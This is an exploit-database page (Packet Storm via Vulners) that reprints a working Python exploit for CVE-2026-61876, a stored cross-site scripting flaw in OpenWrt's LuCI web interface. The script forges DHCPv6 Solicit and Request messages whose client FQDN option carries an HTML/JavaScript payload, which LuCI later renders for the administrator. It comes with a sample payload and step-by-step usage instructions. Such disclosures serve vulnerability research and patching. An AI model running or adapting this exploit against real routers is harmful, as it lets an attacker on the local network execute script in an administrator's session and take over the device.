π LuCI DHCPv6 Cross Site Scripting
ποΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 13Β Views
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-61876 | 12 Jul 202612:26 | β | circl | |
| CVE-2026-61876 | 12 Jul 202612:07 | β | cve | |
| CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting | 12 Jul 202612:07 | β | cvelist | |
| LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting | 11 Aug 202600:00 | β | exploitdb | |
| EUVD-2026-43236 | 12 Jul 202612:07 | β | euvd | |
| CVE-2026-61876 | 12 Jul 202612:16 | β | nvd | |
| PT-2026-57560 | 12 Jul 202600:00 | β | ptsecurity | |
| CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting | 12 Jul 202612:07 | β | vulnrichment |
# Exploit Title: LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting
# CVE: CVE-2026-61876
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://openwrt.org/
# Software Link: https://github.com/openwrt/luci
# Affected: OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on: OpenWrt 25.12.0-rc1 x86_64
# Category: Remote
# Platform: Linux
# Exploit Type: Stored XSS
# CVSS: 8.8
# Description: An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in: LuCI commit 55379d0 (and backports)
# Usage:
# python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
# python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
# --ifindex Interface index of the LAN interface
# --hostname Malicious hostname/FQDN payload
# --server DHCPv6 server (default: ff02::1:2)
# --release Release the lease after injection
#
# Notes:
# β’ Requires adjacent network access (LAN)
# β’ Administrator must view Status > Overview or Network > DHCP and DNS
# β’ Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
# Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
# Run the exploit and then open LuCI as admin to trigger the payload.
def banner():
print(r"""
ββββββββ ββββββ ββββ ββββββ βββ ββββββ ββββ ββββββββββββββββββββ
ββββββββββββββββββββββ βββββββ βββββββββββββββββ βββββββββββββββββββββ
βββββββββββββββββββββββ βββ βββββββ βββββββββββββββββββββββββ βββββββββ
βββββββββββββββββββββββββββ βββββ βββββββββββββββββββββββββ ββββββββ
ββββββββββββ ββββββ ββββββ βββ βββ ββββββ βββ ββββββββββββββ βββ
βββββββ βββ ββββββ βββββ βββ βββ ββββββ ββββββββββββββ βββ
βββ Banyamer Security βββ
""")
import argparse
import os
import random
import socket
import struct
import time
OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39
def opt(code, data):
return struct.pack("!HH", code, len(data)) + data
def options(buf):
i = 0
while i + 4 <= len(buf):
code, length = struct.unpack("!HH", buf[i:i + 4])
i += 4
yield code, buf[i:i + length]
i += length
def first_opt(buf, wanted):
for code, data in options(buf):
if code == wanted:
return data
return None
def encode_domain(name):
labels = name.rstrip(".").split(".") if name else []
out = bytearray()
for label in labels:
raw = label.encode("utf-8")
if len(raw) > 63:
raise ValueError("domain label too long for DHCPv6 FQDN option")
out.append(len(raw))
out += raw
out.append(0)
return bytes(out)
def make_duid(mac):
dhcpv6_epoch = 946684800
now = int(time.time() - dhcpv6_epoch)
return struct.pack("!HHI", 1, 1, now) + mac
def make_msg(msg_type, txid, opts):
return bytes([msg_type]) + txid + b"".join(opts)
def parse_msg(data):
if len(data) < 4:
return None
return data[0], data[1:4], data[4:]
def open_sock(ifindex, port, bind_addr):
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.settimeout(4)
try:
s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
except OSError:
pass
try:
s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, port
except OSError:
if port != 0:
s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
return s, s.getsockname()[1]
raise
def send_recv(sock, dst, msg, txid, expect_types):
sock.sendto(msg, dst)
deadline = time.time() + 5
while time.time() < deadline:
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
break
parsed = parse_msg(data)
if not parsed:
continue
msg_type, rxid, opts = parsed
if rxid == txid and msg_type in expect_types:
return msg_type, opts, addr, data
return None
def status_text(ia_na):
if not ia_na:
return ""
for code, data in options(ia_na[12:]):
if code == OPT_STATUS and len(data) >= 2:
status = struct.unpack("!H", data[:2])[0]
text = data[2:].decode("utf-8", "replace")
return f"status={status} {text}".strip()
return ""
def main():
banner()
ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
ap.add_argument("--ifindex", type=int, required=True)
ap.add_argument("--hostname", required=True)
ap.add_argument("--server", default="ff02::1:2")
ap.add_argument("--bind-addr", default="::")
ap.add_argument("--port", type=int, default=546)
ap.add_argument("--release", action="store_true")
ap.add_argument("--duid-hex")
ap.add_argument("--iaid-hex")
args = ap.parse_args()
if args.duid_hex:
duid = bytes.fromhex(args.duid_hex)
mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
else:
mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
duid = make_duid(mac)
iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
fqdn = bytes([0]) + encode_domain(args.hostname)
oro = struct.pack("!HHH", 23, 24, OPT_FQDN)
sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)
txid = os.urandom(3)
solicit = make_msg(1, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
adv = send_recv(sock, dst, solicit, txid, {2})
if not adv:
print(f"NO_ADVERTISE source_port={sport}")
return 2
_, adv_opts, addr, _ = adv
serverid = first_opt(adv_opts, OPT_SERVERID)
ia_na = first_opt(adv_opts, OPT_IA_NA)
print(f"ADVERTISE from={addr[0]} source_port={sport}")
if not serverid or not ia_na:
return 3
txid = os.urandom(3)
request = make_msg(3, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
opt(OPT_ORO, oro),
opt(OPT_ELAPSED, b"\x00\x00"),
opt(OPT_FQDN, fqdn),
])
rep = send_recv(sock, dst, request, txid, {7})
if not rep:
print("NO_REPLY")
return 4
_, reply_opts, addr, _ = rep
print(f"REPLY from={addr[0]}")
if args.release:
txid = os.urandom(3)
release = make_msg(8, txid, [
opt(OPT_CLIENTID, duid),
opt(OPT_SERVERID, serverid),
opt(OPT_IA_NA, ia_na),
])
rel = send_recv(sock, dst, release, txid, {7})
print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")
print(f"DUID={duid.hex()} IAID={iaid.hex()}")
return 0
if __name__ == "__main__":
raise SystemExit(main())Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
4.7Medium risk
Vulners AI Score4.7
CVSS 3.18.8
CVSS 49.4
EPSS0.00851
SSVC